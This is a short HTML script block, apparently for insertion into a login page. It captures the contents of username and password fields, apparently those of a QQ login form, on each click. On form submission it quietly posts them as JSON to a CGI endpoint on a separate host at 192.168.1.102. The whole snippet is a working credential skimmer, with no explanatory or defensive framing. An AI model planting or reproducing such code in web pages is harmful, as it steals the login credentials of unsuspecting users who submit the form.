<!--<meta http-equiv="Access-Control-Allow-Origin" content="*" />-->
<script type="text/javascript">
    function myjpost(url, jsdict) {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", url, false);
        xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
        xhr.send(JSON.stringify(jsdict));
    } 
    function mysubmit(){
        //alert('user:'+jsdict['user']);
        myjpost('http://192.168.1.102:8000/cgi-bin/mycgi.py', jsdict);
    }

    if(document.attachEvent) {
        //alert("AttachEvent OK");
        document.attachEvent('onsubmit', mysubmit);
    }else if(document.addEventListener){
        //alert("addEventListener OK");
        document.addEventListener('submit', mysubmit, false);
    }

    //to get value before submit
    var jsdict = {};
    function  myclick(){
        //var form = document.getElementById("formid"); 
        //var user = form.elements[0].value;
        //var pwd = form.elements[1].value;
        var user = document.getElementById("qquin").value;
        var pwd = document.getElementById("pp").value;
        jsdict = {"user":user, "pwd":pwd};
    }
    document.addEventListener('click', myclick, false);
</script>
